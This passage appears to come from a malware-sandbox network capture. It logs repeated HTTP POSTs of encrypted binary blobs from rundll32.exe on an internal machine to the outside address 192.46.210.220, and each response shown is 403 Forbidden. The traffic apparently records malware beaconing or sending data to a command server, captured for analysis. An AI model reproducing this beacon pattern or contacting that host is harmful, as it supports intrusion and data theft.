2021-10-28 03:05:47 UTC	291	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:48 UTC	296	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49770	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:00 UTC	29	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:00 UTC	29	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:01 UTC	39	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	50057	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:50 UTC	296	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:50 UTC	296	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:51 UTC	301	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:51 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	50061	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:51 UTC	301	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:51 UTC	301	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:52 UTC	306	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:52 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	50067	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:54 UTC	306	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:54 UTC	306	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:55 UTC	311	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:55 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	50069	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:55 UTC	311	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:55 UTC	311	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:56 UTC	316	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:55 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	50075	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:58 UTC	316	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:58 UTC	316	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:59 UTC	321	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:59 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	50077	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:59 UTC	321	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:59 UTC	321	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:59 UTC	326	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:59 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	50083	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:02 UTC	326	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:02 UTC	326	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:02 UTC	331	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	50085	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:03 UTC	331	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:03 UTC	331	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:03 UTC	335	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:03 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	50092	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:07 UTC	336	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:07 UTC	336	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:08 UTC	345	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	50093	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:07 UTC	340	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:07 UTC	340	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:08 UTC	345	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49772	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:00 UTC	34	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:00 UTC	34	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:01 UTC	39	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:01 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	50100	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:11 UTC	345	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:11 UTC	346	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:12 UTC	355	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	50101	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:11 UTC	350	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:11 UTC	350	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 